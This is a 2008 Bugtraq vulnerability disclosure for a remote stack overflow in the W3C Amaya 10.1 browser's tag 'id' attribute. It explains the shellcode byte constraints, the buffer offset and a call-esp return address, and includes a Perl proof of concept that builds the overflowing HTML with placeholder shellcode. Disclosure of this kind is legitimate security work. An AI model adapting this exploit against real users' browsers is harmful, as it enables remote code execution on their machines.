bugtraq - Amaya (id) Remote Stack Overflow Vulnerability

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Date: Mon, 24 Nov 2008 04:28:28 -0700
From: writ3r@...il.com
To: bugtraq@...urityfocus.com
Subject: Amaya (id) Remote Stack Overflow Vulnerability

#            W3C Amaya 10.1 Web Browser
#
# Amaya (id) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/41/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The "id" variable of a tag contains a buffer overflow: 
# <div id=" 93*'A/' ">r0ut3r</div>
#
# The application will not overflow with normal alphanumeric characters. 
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: 
# 91 * 2 = 182 + 4
#
# [junk] + [eip] +     [shellcode]
#  182   +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# "id" variable Proof of concept: 
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 350;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<div id="' .
                        'A/' x 91 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">test</div>';
print $data;